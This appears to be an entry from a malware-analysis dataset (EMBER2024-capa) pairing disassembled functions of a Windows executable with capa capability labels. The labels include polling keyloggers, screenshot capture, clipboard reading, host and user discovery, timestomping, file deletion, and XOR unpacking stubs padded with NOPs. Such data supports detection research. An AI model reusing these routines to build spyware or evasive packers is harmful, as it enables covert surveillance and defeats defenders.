joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4271b4
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4271cb
add esp, 0xfffffff0
call fcn.00403098
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00412240
mov byte [ebx + 0x28], 0
mov dl, 1
mov eax, dword [0x40c350]
call fcn.00402d68
mov dword [ebx + 0x80], eax
mov dl, 1
mov eax, dword [0x40c350]
call fcn.00402d68
mov dword [ebx + 0x98], eax
xor eax, eax
mov dword [ebx + 0x50], eax
xor eax, eax
mov dword [ebx + 0x74], eax
mov dword [ebx + 0x4c], 0x80000018
mov dword [ebx + 0x68], 0x1f4
mov byte [ebx + 0x6c], 1
xor eax, eax
mov dword [ebx + 0x70], eax
mov dword [ebx + 0x64], 0x9c4
mov byte [ebx + 0x78], 0
mov byte [ebx + 0x8d], 1
mov dl, 1
mov eax, dword [0x414020]
call fcn.0041ae20
mov esi, eax
mov dword [ebx + 0x88], esi
push 0x427340
mov eax, dword [0x44a344]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0041b1f0
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x428b8c
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x44a344]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_2
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.00409e60
test eax, eax
je 0x4272be
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004083d8
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.00409e88
test eax, eax
je 0x4272d2
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x7c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00403c50
mov eax, dword [0x44a238]
cmp byte [eax], 0
jne 0x427303
mov eax, ebx
call fcn.0042742c
mov byte [ebx + 0x49], 1
mov byte [ebx + 0x4a], 1
mov byte [ebx + 0x4b], 1
mov byte [ebx + 0x8e], 1
xor eax, eax
mov dword [ebx + 0x90], eax
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x427335
call fcn.004030f0
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42769c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x44b748]
cmp dword [eax + 0x24], 0
je 0x42773f
cmp dword [ebx + 0x84], 0
jne 0x427739
mov eax, dword [ebx + 0x24]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x42762c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x80]
cmp dword [eax + 8], 0
je 0x427739
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x427702
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x80]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x427739
push 0x13
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x80]
call fcn.0040da14
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x427711
inc dword [ebx + 0x84]
pop ecx
pop edx
pop esi
pop ebx
ret
Function at 0x42814c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x94], 0
je 0x428181
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x24]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403b08
jmp 0x42818b
mov eax, esi
mov edx, dword [ebx + 0x7c]
call fcn.00403a74
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x428f00
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x74]
test esi, esi
je 0x428f38
mov eax, esi
call fcn.0043b7dc
test al, al
je 0x428f38
mov eax, dword [ebx + 0x74]
call fcn.0043b4e0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x428f38
push 0
mov eax, dword [ebx + 0x74]
call fcn.0043b4e0
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x42b9d4
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403a20
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x42ba23
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00403c50
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4332b4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
cmp dword [0x44b7b8], 0
sete dl
or al, dl
jne 0x4333f4
mov eax, dword [0x44b7bc]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x44b7b8]
mov esi, dword [eax + 8]
dec esi
test esi, esi
jl 0x4333c3
inc esi
xor edi, edi
mov edx, edi
mov eax, dword [0x44b7b8]
call fcn.0040da14
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x4333bb
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x168], 0
je 0x4333bb
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x4c]
test al, al
je 0x4333bb
mov eax, dword [ebp - 0x14]
call fcn.0043b4e0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4333bb
push ebp
call fcn.00433270
pop ecx
test al, al
jne 0x4333bb
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x90]
cmp eax, dword [ebp - 0x14]
jne 0x433377
mov eax, dword [ebp - 0x14]
call fcn.00439e6c
dec eax
jle 0x4333bb
mov byte [ebp - 1], 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov bx, 0xffc1
call fcn.00402f74
cmp byte [ebp - 1], 0
je 0x4333bb
push dword [ebp - 8]
push dword [ebp - 0xc]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x4333bb
mov edx, dword [ebp - 0x14]
mov eax, dword [0x44b7bc]
call fcn.00432abc
inc edi
dec esi
jne 0x43330a
mov eax, dword [0x44b7bc]
cmp dword [eax + 8], 0
jle 0x4333db
mov eax, dword [0x44b7bc]
call fcn.00432b4c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4333f4
push ebp
mov eax, dword [ebp - 0x18]
call fcn.004330d8
pop ecx
test al, al
jne 0x4333f4
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x438e78
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
mov eax, dword [esi]
cmp eax, 0x84
jg 0x438ea9
je 0x438f03
sub eax, 7
je 0x438eca
dec eax
je 0x438ef4
sub eax, 0x17
je 0x438fa8
jmp 0x438fe6
add eax, 0xffffff00
sub eax, 9
jb 0x438f94
add eax, 0xffffff09
sub eax, 0xb
jb 0x438f5c
jmp 0x438fe6
mov eax, ebx
call fcn.00420140
mov edi, eax
test edi, edi
je 0x439046
mov edx, ebx
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0xd4]
test al, al
je 0x43904f
jmp 0x439046
test byte [ebx + 0x44], 0x20
jne 0x43904f
jmp 0x439046
mov edx, esi
mov eax, ebx
call fcn.00436544
cmp dword [esi + 0xc], 0xffffffff
jne 0x43904f
push 0
lea edx, [ebp - 0x120]
mov eax, dword [esi + 8]
call fcn.00406ce4
lea edx, [ebp - 0x120]
lea ecx, [ebp - 0x118]
mov eax, ebx
call fcn.00435090
lea edx, [ebp - 0x118]
xor ecx, ecx
mov eax, ebx
call fcn.00438d50
test eax, eax
je 0x43904f
mov dword [esi + 0xc], 1
jmp 0x43904f
mov edx, esi
mov eax, ebx
call fcn.00438de4
test al, al
je 0x439046
cmp dword [esi + 0xc], 0
jne 0x43904f
mov eax, dword [esi + 8]
push eax
mov eax, dword [esi + 4]
push eax
mov eax, dword [esi]
push eax
mov eax, ebx
call fcn.0043b4e0
push eax
call sub.user32.dll_DefWindowProcA
jmp 0x43904f
mov eax, ebx
call fcn.00435be0
test al, al
jne 0x43904f
jmp 0x439046
mov eax, ebx
call fcn.0043b4e0
mov edi, eax
call sub.user32.dll_GetCapture
cmp edi, eax
jne 0x439046
cmp dword [0x4488ec], 0
je 0x439046
mov eax, dword [0x4488ec]
cmp ebx, dword [eax + 0x24]
jne 0x439046
push 0
xor ecx, ecx
mov edx, 0x1f
mov eax, dword [0x4488ec]
call fcn.00436478
jmp 0x439046
mov eax, dword [0x44b780]
cmp byte [eax + 0x20], 0
je 0x439046
mov eax, dword [0x44b780]
cmp dword [eax + 0x1c], 0
je 0x439046
mov eax, dword [esi]
mov edx, dword [0x44b780]
cmp eax, dword [edx + 0x1c]
jne 0x439046
lea eax, [ebp - 0x110]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x110]
call fcn.00420084
mov byte [ebp - 0xc], al
mov ax, word [esi + 4]
mov word [ebp - 0xa], ax
mov eax, dword [esi + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, ebx
mov bx, 0xffb7
call fcn.00402f74
jmp 0x43904f
mov edx, esi
mov eax, ebx
call fcn.00436544
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x439510
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1e8], 0
je 0x43952c
cmp dword [esi + 4], 0
je 0x439559
test byte [ebx + 0x45], 1
jne 0x43954b
mov eax, ebx
call fcn.004384b4
test eax, eax
jne 0x43954b
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x439669
mov edx, esi
mov eax, ebx
call fcn.00439188
jmp 0x439669
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x439662
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0043b4e0
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00436478
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.00439510
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0043b4e0
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x439669
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x440050
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00403e64
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x440069
test al, 0x10
jne 0x44006d
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x443864
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push eax
mov eax, 2
add esp, 0xfffff004
push eax
dec eax
jne 0x44386c
mov eax, dword [esp + 0x2000]
add esp, 0xfffff7f0
mov esi, ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [esp + 4]
call fcn.0040f35c
mov dword [esp + 0x10], eax
xor ecx, ecx
xor edx, edx
mov eax, dword [esp + 4]
mov ebx, dword [eax]
call dword [ebx + 0xc]
or ebx, 0xffffffff
mov eax, dword [esp + 4]
call fcn.0040f378
sub eax, esi
mov dword [esp + 0xc], eax
cmp dword [esp + 0xc], 0
jle 0x443925
cmp dword [esp + 0xc], 0x2800
jl 0x4438d3
mov dword [esp + 8], 0x2800
jmp 0x4438db
mov eax, dword [esp + 0xc]
mov dword [esp + 8], eax
lea edx, [esp + 0x14]
mov ecx, dword [esp + 8]
mov eax, dword [esp + 4]
mov esi, dword [eax]
call dword [esi + 4]
mov edx, eax
xor eax, eax
cmp edx, eax
jle 0x44391b
xor ecx, ecx
mov cl, byte [esp + eax + 0x14]
xor ecx, ebx
and ecx, 0xff
mov esi, dword [esp]
mov ecx, dword [esi + ecx*4 + 0x5c]
shr ebx, 8
and ebx, 0xffffff
xor ecx, ebx
mov ebx, ecx
inc eax
cmp edx, eax
jg 0x4438f4
mov eax, dword [esp + 8]
sub dword [esp + 0xc], eax
jmp 0x4438b8
xor ebx, 0xffffffff
xor ecx, ecx
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, ebx
add esp, 0x2814
pop esi
pop ebx
ret
Function at 0x446558
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x48], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403e54
mov eax, dword [ebp - 8]
call fcn.00403e54
lea edi, [ebp - 0x44]
xor eax, eax
push ebp
push 0x446619
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, edi
mov dword [edi], 0x3c
mov dword [edi + 4], 0x40
xor eax, eax
mov dword [edi + 8], eax
xor eax, eax
mov dword [edi + 0xc], eax
mov eax, dword [ebp - 4]
call fcn.00403e64
mov dword [edi + 0x10], eax
lea eax, [ebp - 0x48]
mov ecx, 0x446630
mov edx, dword [ebp - 8]
call fcn.00403cec
mov eax, dword [ebp - 0x48]
call fcn.00403e64
mov dword [edi + 0x14], eax
xor eax, eax
mov dword [edi + 0x18], eax
mov dword [edi + 0x1c], esi
xor eax, eax
mov dword [edi + 0x20], eax
push ebx
call sub.shell32.dll_ShellExecuteExA
push 0x1f4
mov eax, dword [edi + 0x38]
push eax
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0x102
je 0x4465e1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x446620
lea eax, [ebp - 0x48]
call fcn.00403a20
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403a44
ret

Function at 0x446634
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
xor edx, edx
mov dword [ebp - 0x168], edx
mov dword [ebp - 0x164], edx
mov dword [ebp - 0x160], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403e54
lea eax, [ebp - 0x15c]
mov edx, dword [0x40714c]
call fcn.004041d0
xor eax, eax
push ebp
push 0x4467a6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00403ca0
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0x5c
je 0x44669a
lea eax, [ebp - 4]
mov edx, 0x4467bc
call fcn.00403ca8
lea eax, [ebp - 0x160]
mov ecx, 0x4467c8
mov edx, dword [ebp - 4]
call fcn.00403cec
mov eax, dword [ebp - 0x160]
lea ecx, [ebp - 0x15c]
mov edx, 0x3f
call fcn.0040811c
test eax, eax
jne 0x446756
test byte [ebp - 0x154], 0x10
je 0x44671e
mov eax, dword [ebp - 0x150]
mov edx, 0x4467d4
call fcn.00403db0
je 0x446743
mov eax, dword [ebp - 0x150]
mov edx, 0x4467e0
call fcn.00403db0
je 0x446743
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x164]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 4]
call fcn.00403cec
mov eax, dword [ebp - 0x164]
call fcn.00446634
pop ecx
jmp 0x446743
lea eax, [ebp - 0x168]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 4]
call fcn.00403cec
mov eax, dword [ebp - 0x168]
call fcn.00403e64
push eax
call sub.kernel32.dll_DeleteFileA_1
lea eax, [ebp - 0x15c]
call fcn.0040816c
test eax, eax
je 0x4466cb
lea eax, [ebp - 0x15c]
call fcn.00408190
mov eax, dword [ebp - 4]
call fcn.00403e64
push eax
call sub.kernel32.dll_RemoveDirectoryA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4467ad
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.00403a44
lea eax, [ebp - 0x15c]
mov edx, dword [0x40714c]
call fcn.0040429c
lea eax, [ebp - 4]
call fcn.00403a20
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x432072
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x4bf37459
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x432060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x339e7686
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4320c0
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x403318
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4033b2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x4033c0
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x403395
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x105
call fcn.00401154
mov dword [ebp - 4], eax
push 0x105
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00401ab0
mov edx, dword [ebp - 8]
mov eax, ebx
mov ecx, 0x4033cc
call fcn.00401bc4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40339c
mov eax, dword [ebp - 4]
call fcn.0040116c
ret

Function at 0x4033dc
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x403462
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xff
mov eax, dword [ebp - 4]
inc eax
call fcn.00401154
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x403424
mov eax, esi
mov edx, ebx
call fcn.00401ab0
jmp 0x403445
push 0x403478
lea eax, [ebp - 8]
call fcn.00403ad4
push dword [ebp - 8]
push 0x403498
mov eax, esi
mov edx, 3
call fcn.00401c38
mov eax, ebx
call fcn.0040116c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403469
lea eax, [ebp - 8]
call fcn.004018fc
ret

Function at 0x40349c
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x403522
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xff
mov eax, dword [ebp - 4]
inc eax
call fcn.00401154
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x4034e4
mov eax, esi
mov edx, ebx
call fcn.00401ab0
jmp 0x403505
push 0x403538
lea eax, [ebp - 8]
call fcn.00403ad4
push dword [ebp - 8]
push 0x40355c
mov eax, esi
mov edx, 3
call fcn.00401c38
mov eax, ebx
call fcn.0040116c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403529
lea eax, [ebp - 8]
call fcn.004018fc
ret
Function at 0x403cc4
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x403d78
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.user32.dll_OpenClipboard
push 1
call sub.user32.dll_GetClipboardData
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x403d5b
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
je 0x403d32
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GlobalLock
mov edx, eax
mov eax, ebx
call fcn.00401ab0
lea ecx, [ebp - 8]
mov eax, dword [ebx]
mov edx, 0x403d84
call fcn.0040395c
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00401950
jmp 0x403d39
mov eax, ebx
call fcn.004018fc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403d62
cmp dword [ebp - 4], 0
je 0x403d55
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GlobalUnlock
call sub.user32.dll_CloseClipboard
ret

Function at 0x403ddc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe34
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x1c9]
push eax
call sub.user32.dll_GetKeyboardState
lea eax, [ebp - 0xc9]
xor ecx, ecx
mov edx, 0xc8
call fcn.004013f8
push 0
lea eax, [ebp - 0xc9]
push eax
lea eax, [ebp - 0x1c9]
push eax
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push eax
call sub.user32.dll_ToAscii
test eax, eax
jle 0x403e3c
mov eax, ebx
lea edx, [ebp - 0xc9]
mov ecx, 0xc9
call fcn.00401430
jmp 0x403e3f
mov byte [ebx], 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40472c
Capabilities:
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00401d2c
xor eax, eax
push ebp
push 0x4047f0
push dword fs:[eax]
mov dword fs:[eax], esp
push 6
mov eax, dword [ebp - 4]
call fcn.00401d3c
mov esi, eax
push esi
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x20]
call fcn.00403318
mov eax, dword [ebp - 0x20]
call fcn.00401d3c
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
call sub.kernel32.dll_GetFileTime
push ebx
call sub.kernel32.dll_CloseHandle_1
push 0
push 0
push 3
push 0
push 1
push 0x40000000
push esi
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
push ebx
call sub.kernel32.dll_SetFileTime
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4047f7
lea eax, [ebp - 0x20]
call fcn.004018fc
lea eax, [ebp - 4]
call fcn.004018fc
ret

Function at 0x40536c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebp, edx
mov edi, eax
push edi
call sub.user32.dll_IsWindow
test eax, eax
je 0x4053c0
push 0
push 0
push 0xe
push edi
call sub.user32.dll_SendMessageA
mov ebx, eax
cmp ebx, 0x10000
jle 0x405399
mov ebx, 0x10000
lea eax, [ebx + 1]
call fcn.00401154
mov esi, eax
push esi
inc ebx
push ebx
push 0xd
push edi
call sub.user32.dll_SendMessageA
mov eax, ebp
mov edx, esi
call fcn.00401ab0
mov eax, esi
call fcn.0040116c
jmp 0x4053c7
mov eax, ebp
call fcn.004018fc
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x1c986bf6
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x433024
nop
nop
nop
nop
mov eax, section..text_1
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x1df317d
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219